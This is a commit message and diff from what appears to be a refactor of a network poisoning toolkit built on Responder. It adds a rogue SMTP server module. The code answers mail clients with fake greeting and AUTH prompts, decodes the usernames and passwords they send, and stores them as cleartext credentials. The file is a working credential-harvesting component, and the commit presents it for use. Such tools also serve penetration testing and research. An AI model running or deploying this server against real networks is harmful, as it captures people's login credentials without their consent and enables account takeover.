first pass at refactoring:

directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes

core/servers/SMTP.py

@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+
+from utils import *
+from base64 import b64decode, b64encode
+from SocketServer import BaseRequestHandler
+from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
+
+# ESMTP Server class
+class ESMTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.send(str(SMTPGreeting()))
+			data = self.request.recv(1024)
+
+			if data[0:4] == "EHLO":
+				self.request.send(str(SMTPAUTH()))
+				data = self.request.recv(1024)
+
+			if data[0:4] == "AUTH":
+				self.request.send(str(SMTPAUTH1()))
+				data = self.request.recv(1024)
+				
+				if data:
+					try:
+						User = filter(None, b64decode(data).split('\x00'))
+						Username = User[0]
+						Password = User[1]
+					except:
+						Username = b64decode(data)
+
+						self.request.send(str(SMTPAUTH2()))
+						data = self.request.recv(1024)
+
+						if data:
+							try: Password = b64decode(data)
+							except: Password = data
+
+					SaveToDb({
+						'module': 'SMTP', 
+						'type': 'Cleartext', 
+						'client': self.client_address[0], 
+						'user': Username, 
+						'cleartext': Password, 
+						'fullhash': Username+":"+Password,
+					})
+
+		except Exception:
+			pass